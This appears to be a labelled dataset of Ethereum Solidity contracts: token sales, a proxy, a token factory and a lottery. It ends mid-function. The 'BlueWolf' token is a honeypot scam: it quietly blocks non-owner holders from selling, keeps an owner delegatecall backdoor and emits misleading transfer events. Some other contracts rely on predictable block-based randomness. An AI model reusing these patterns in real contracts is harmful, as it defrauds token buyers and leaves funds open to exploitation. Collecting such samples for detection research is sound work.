contract TokenDotFactory is Ownable {
CurrentCostInterface currentCost;
FactoryTokenInterface public reserveToken;
ZapCoordinatorInterface public coord;
TokenFactoryInterface public tokenFactory;
BondageInterface bondage;
mapping(bytes32 => address) public curves;
event DotTokenCreated(address tokenAddress);
constructor(
address coordinator,
address factory,
uint256 providerPubKey,
bytes32 providerTitle
){
coord = ZapCoordinatorInterface(coordinator);
reserveToken = FactoryTokenInterface(coord.getContract("ZAP_TOKEN"));
reserveToken.approve(coord.getContract("BONDAGE"), ~uint256(0));
tokenFactory = TokenFactoryInterface(factory);
RegistryInterface registry = RegistryInterface(coord.getContract("REGISTRY"));
registry.initiateProvider(providerPubKey, providerTitle);
}
function initializeCurve(
bytes32 specifier,
bytes32 symbol,
int256[] curve
) public returns(address) {
require(curves[specifier] == 0, "Curve specifier already exists");
RegistryInterface registry = RegistryInterface(coord.getContract("REGISTRY"));
require(registry.isProviderInitiated(address(this)), "Provider not intiialized");
registry.initiateProviderCurve(specifier, curve, address(this));
curves[specifier] = newToken(bytes32ToString(specifier), bytes32ToString(symbol));
registry.setProviderParameter(specifier, toBytes(curves[specifier]));
DotTokenCreated(curves[specifier]);
return curves[specifier];
}
event Bonded(bytes32 indexed specifier, uint256 indexed numDots, address indexed sender);
function bond(bytes32 specifier, uint numDots) public {
bondage = BondageInterface(coord.getContract("BONDAGE"));
uint256 issued = bondage.getDotsIssued(address(this), specifier);
CurrentCostInterface cost = CurrentCostInterface(coord.getContract("CURRENT_COST"));
uint256 numReserve = cost._costOfNDots(address(this), specifier, issued + 1, numDots - 1);
require(
reserveToken.transferFrom(msg.sender, address(this), numReserve),
"insufficient accepted token numDots approved for transfer"
);
reserveToken.approve(address(bondage), numReserve);
bondage.bond(address(this), specifier, numDots);
FactoryTokenInterface(curves[specifier]).mint(msg.sender, numDots);
Bonded(specifier, numDots, msg.sender);
}
event Unbonded(bytes32 indexed specifier, uint256 indexed numDots, address indexed sender);
function unbond(bytes32 specifier, uint numDots) public {
bondage = BondageInterface(coord.getContract("BONDAGE"));
uint issued = bondage.getDotsIssued(address(this), specifier);
currentCost = CurrentCostInterface(coord.getContract("CURRENT_COST"));
uint reserveCost = currentCost._costOfNDots(address(this), specifier, issued + 1 - numDots, numDots - 1);
bondage.unbond(address(this), specifier, numDots);
FactoryTokenInterface curveToken = FactoryTokenInterface(curves[specifier]);
curveToken.burnFrom(msg.sender, numDots);
require(reserveToken.transfer(msg.sender, reserveCost), "Error: Transfer failed");
Unbonded(specifier, numDots, msg.sender);
}
function newToken(
string name,
string symbol
)
public
returns (address tokenAddress)
{
FactoryTokenInterface token = tokenFactory.create(name, symbol);
tokenAddress = address(token);
return tokenAddress;
}
function getTokenAddress(bytes32 specifier) public view returns(address) {
RegistryInterface registry = RegistryInterface(coord.getContract("REGISTRY"));
return bytesToAddr(registry.getProviderParameter(address(this), specifier));
}
function toBytes(address x) public pure returns (bytes b) {
b = new bytes(20);
for (uint i = 0; i < 20; i++)
b[i] = byte(uint8(uint(x) / (2**(8*(19 - i)))));
}
function bytes32ToString(bytes32 x) public pure returns (string) {
bytes memory bytesString = new bytes(32);
bytesString = abi.encodePacked(x);
return string(bytesString);
}
function bytesToAddr (bytes b) public pure returns (address) {
uint result = 0;
for (uint i = b.length-1; i+1 > 0; i--) {
uint c = uint(b[i]);
uint to_inc = c * ( 16 ** ((b.length - i-1) * 2));
result += to_inc;
}
return address(result);
}
} | 1 | 2,193 |
pragma solidity ^0.5.2;
contract ProxyData {
address internal proxied;
}
contract Proxy is ProxyData {
constructor(address _proxied) public {
proxied = _proxied;
}
function () external payable {
address addr = proxied;
assembly {
let freememstart := mload(0x40)
calldatacopy(freememstart, 0, calldatasize())
let success := delegatecall(not(0), addr, freememstart, calldatasize(), freememstart, 0)
returndatacopy(freememstart, 0, returndatasize())
switch success
case 0 { revert(freememstart, returndatasize()) }
default { return(freememstart, returndatasize()) }
}
}
}
contract UniswapFactoryInterface {
address public exchangeTemplate;
uint256 public tokenCount;
function createExchange(address token) external returns (address exchange);
function getExchange(address token) external view returns (address exchange);
function getToken(address exchange) external view returns (address token);
function getTokenWithId(uint256 tokenId) external view returns (address token);
function initializeFactory(address template) external;
}
contract FundHeader {
address constant internal cEth = address(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5);
UniswapFactoryInterface constant internal uniswapFactory = UniswapFactoryInterface(0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95);
}
contract FundDataInternal is ProxyData, FundHeader {
address internal collateralOwner;
address internal interestWithdrawer;
mapping(address => uint) internal initialDepositCollateral;
address[] internal markets;
}
contract CERC20NoBorrowInterface {
function mint(uint mintAmount) external returns (uint);
address public underlying;
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FundProxy is Proxy, FundDataInternal {
constructor(
address proxied,
address _collateralOwner,
address _interestWithdrawer,
address[] memory _markets)
public
Proxy(proxied)
{
for (uint i=0; i < _markets.length; i++) {
markets.push(_markets[i]);
if (_markets[i] == cEth) {
continue;
}
address underlying = CERC20NoBorrowInterface(_markets[i]).underlying();
require(IERC20(underlying).approve(_markets[i], uint(-1)));
require(IERC20(underlying).approve(uniswapFactory.getExchange(underlying), uint(-1)));
}
collateralOwner = _collateralOwner;
interestWithdrawer = _interestWithdrawer;
}
} | 1 | 3,136 |
pragma solidity ^0.4.21;
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract PoolPartyToken is Ownable {
using SafeMath for uint256;
struct HOLDers {
address HOLDersAddress;
}
HOLDers[] public HOLDersList;
function _alreadyInList(address _thisHODLer) internal view returns(bool HolderinList) {
bool result = false;
for (uint256 r = 0; r < HOLDersList.length; r++) {
if (HOLDersList[r].HOLDersAddress == _thisHODLer) {
result = true;
break;
}
}
return result;
}
function AddHOLDer(address _thisHODLer) internal {
if (_alreadyInList(_thisHODLer) == false) {
HOLDersList.push(HOLDers(_thisHODLer));
}
}
function UpdateHOLDer(address _currentHODLer, address _newHODLer) internal {
for (uint256 r = 0; r < HOLDersList.length; r++){
if (HOLDersList[r].HOLDersAddress == _currentHODLer) {
HOLDersList[r].HOLDersAddress = _newHODLer;
}
}
}
}
contract BasicToken is PoolPartyToken, ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
bool public transferEnabled;
modifier openBarrier() {
require(transferEnabled || msg.sender == owner);
_;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) openBarrier public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
UpdateHOLDer(msg.sender, _to);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract PoolPartyPayRoll is BasicToken {
using SafeMath for uint256;
mapping (address => uint256) PayRollCount;
function _HOLDersPayRoll() onlyOwner public {
uint256 _amountToPay = address(this).balance;
uint256 individualPayRoll = _amountToPay.div(uint256(HOLDersList.length));
for (uint256 r = 0; r < HOLDersList.length; r++){
address HODLer = HOLDersList[r].HOLDersAddress;
HODLer.transfer(individualPayRoll);
PayRollCount[HOLDersList[r].HOLDersAddress] = PayRollCount[HOLDersList[r].HOLDersAddress].add(1);
}
}
function PayRollHistory(address _thisHODLer) external view returns (uint256) {
return uint256(PayRollCount[_thisHODLer]);
}
}
contract StandardToken is PoolPartyPayRoll, ERC20 {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) openBarrier public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
UpdateHOLDer(msg.sender, _to);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint external returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
AddHOLDer(_to);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint external returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function recoverERC20Token_SendbyMistake(ERC20Basic missing_token) external onlyOwner {
uint256 balance = missing_token.balanceOf(this);
missing_token.safeTransfer(owner, balance);
}
}
contract HasEther is Ownable {
function() public payable {
}
function recoverETH_SendbyMistake() external onlyOwner {
assert(owner.send(address(this).balance));
}
}
contract HasNoContracts is Ownable {
function reclaimChildOwnership(address contractAddr) public onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract IRONtoken is MintableToken, CanReclaimToken, HasEther, HasNoContracts {
string public constant name = "iron Bank Network token";
string public constant symbol = "IRON";
uint8 public constant decimals = 18;
function IRONtoken() public {
}
function setBarrierAsOpen(bool enable) onlyOwner public {
transferEnabled = enable;
}
}
contract IRONtokenSale is PoolPartyToken, CanReclaimToken, HasNoContracts {
using SafeMath for uint256;
IRONtoken public token;
struct Round {
uint256 start;
uint256 end;
uint256 rate;
}
Round[] public rounds;
uint256 public hardCap;
uint256 public tokensMinted;
bool public finalized;
function IRONtokenSale (uint256 _hardCap, uint256 _initMinted) public {
token = new IRONtoken();
token.setBarrierAsOpen(false);
tokensMinted = token.totalSupply();
require(_hardCap > 0);
hardCap = _hardCap;
mintTokens(msg.sender, _initMinted);
}
function addRound(uint256 StartTimeStamp, uint256 EndTimeStamp, uint256 Rate) onlyOwner public {
rounds.push(Round(StartTimeStamp, EndTimeStamp, Rate));
}
function saleAirdrop(address beneficiary, uint256 amount) onlyOwner external {
mintTokens(beneficiary, amount);
}
function MultiplesaleAirdrop(address[] beneficiaries, uint256[] amounts) onlyOwner external {
for (uint256 r=0; r<beneficiaries.length; r++){
mintTokens(address(beneficiaries[r]), uint256(amounts[r]));
}
}
function ironTokensaleRunning() view public returns(bool){
return (!finalized && (tokensMinted < hardCap));
}
function currentTime() view public returns(uint256) {
return uint256(block.timestamp);
}
function RoundIndex() internal returns(uint256) {
uint256 index = 0;
for (uint256 r=0; r<rounds.length; r++){
if ( (rounds[r].start < uint256(block.timestamp)) && (uint256(block.timestamp) < rounds[r].end) ) {
index = r.add(1);
}
}
return index;
}
function currentRound() view public returns(uint256) {
return RoundIndex();
}
function currentRate() view public returns(uint256) {
uint256 thisRound = RoundIndex();
if (thisRound != 0) {
return uint256(rounds[thisRound.sub(1)].rate);
} else {
return 0;
}
}
function _magic(uint256 _weiAmount) internal view returns (uint256) {
uint256 tokenRate = currentRate();
require(tokenRate > 0);
uint256 preTransformweiAmount = tokenRate.mul(_weiAmount);
uint256 transform = 10**18;
uint256 TransformedweiAmount = preTransformweiAmount.div(transform);
return TransformedweiAmount;
}
function () external payable {
require(msg.value > 0);
require(ironTokensaleRunning());
uint256 weiAmount = msg.value;
uint256 tokens = _magic(weiAmount);
JustForward(msg.value);
mintTokens(msg.sender, tokens);
}
function mintTokens(address beneficiary, uint256 amount) internal {
tokensMinted = tokensMinted.add(amount);
require(tokensMinted <= hardCap);
assert(token.mint(beneficiary, amount));
AddHOLDer(beneficiary);
}
function JustForward(uint256 weiAmount) internal {
owner.transfer(weiAmount);
}
function forwardCollectedEther() onlyOwner public {
if(address(this).balance > 0){
owner.transfer(address(this).balance);
}
}
function finalizeTokensale() onlyOwner public {
finalized = true;
assert(token.finishMinting());
token.setBarrierAsOpen(true);
token.transferOwnership(owner);
forwardCollectedEther();
}
} | 0 | 373 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract YetAnotherUselessToken is StandardToken, Pausable {
string public constant name = 'Yet Another Useless Ethereum Token';
string public constant symbol = 'YUT';
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 10000000000 * 10**uint256(decimals);
function YetAnotherUselessToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transfer(address _to, uint256 _value) whenNotPaused returns (bool) {
require(_to != address(0));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) {
require(_to != address(0));
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function() payable {
if (msg.value == 0) { return; }
owner.transfer(msg.value);
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
tokensIssued += msg.value;
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint8 bonusMultiplier =
((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) +
((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) +
((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) +
((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 1000) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
}
}
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
} | 0 | 1,824 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BlueWolf {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,008 |
pragma solidity ^0.4.18;
contract DogCoreInterface {
address public ceoAddress;
address public cfoAddress;
function getDog(uint256 _id)
external
view
returns (
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes,
uint8 variation,
uint256 gen0
);
function ownerOf(uint256 _tokenId) external view returns (address);
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function sendMoney(address _to, uint256 _money) external;
function totalSupply() external view returns (uint);
}
contract LotteryBase {
uint8 public currentGene;
uint256 public lastBlockNumber;
uint256 randomSeed = 1;
address public bonusPool;
struct CLottery {
uint8[7] luckyGenes;
uint256 totalAmount;
uint256 openBlock;
bool isReward;
bool noFirstReward;
}
CLottery[] public CLotteries;
address public finalLottery;
uint256 public SpoolAmount = 0;
DogCoreInterface public dogCore;
event OpenLottery(uint8 currentGene, uint8 luckyGenes, uint256 currentTerm, uint256 blockNumber, uint256 totalAmount);
event OpenCarousel(uint256 luckyGenes, uint256 currentTerm, uint256 blockNumber, uint256 totalAmount);
modifier onlyCEO() {
require(msg.sender == dogCore.ceoAddress());
_;
}
modifier onlyCFO() {
require(msg.sender == dogCore.cfoAddress());
_;
}
function toLotteryPool(uint amount) public onlyCFO {
require(SpoolAmount >= amount);
SpoolAmount -= amount;
}
function _isCarousal(uint256 currentTerm) external view returns(bool) {
return (currentTerm > 1 && CLotteries[currentTerm - 2].noFirstReward && CLotteries[currentTerm - 1].noFirstReward);
}
function getCurrentTerm() external view returns (uint256) {
return (CLotteries.length - 1);
}
}
contract LotteryGenes is LotteryBase {
function convertGeneArray(uint256 gene) public pure returns(uint8[7]) {
uint8[28] memory geneArray;
uint8[7] memory lotteryArray;
uint index = 0;
for (index = 0; index < 28; index++) {
uint256 geneItem = gene % (2 ** (5 * (index + 1)));
geneItem /= (2 ** (5 * index));
geneArray[index] = uint8(geneItem);
}
for (index = 0; index < 7; index++) {
uint size = 4 * index;
lotteryArray[index] = geneArray[size];
}
return lotteryArray;
}
function convertGene(uint8[7] luckyGenes) public pure returns(uint256) {
uint8[28] memory geneArray;
for (uint8 i = 0; i < 28; i++) {
if (i%4 == 0) {
geneArray[i] = luckyGenes[i/4];
} else {
geneArray[i] = 6;
}
}
uint256 gene = uint256(geneArray[0]);
for (uint8 index = 1; index < 28; index++) {
uint256 geneItem = uint256(geneArray[index]);
gene += geneItem << (index * 5);
}
return gene;
}
}
contract SetLottery is LotteryGenes {
function random(uint8 seed) internal returns(uint8) {
randomSeed = block.timestamp;
return uint8(uint256(keccak256(randomSeed, block.difficulty))%seed)+1;
}
function openLottery(uint8 _viewId) public returns(uint8,uint8) {
uint8 viewId = _viewId;
require(viewId < 7);
uint256 currentTerm = CLotteries.length - 1;
CLottery storage clottery = CLotteries[currentTerm];
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == false) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, 0, 0);
return (clottery.luckyGenes[viewId],1);
}
if (lastBlockNumber == block.number) {
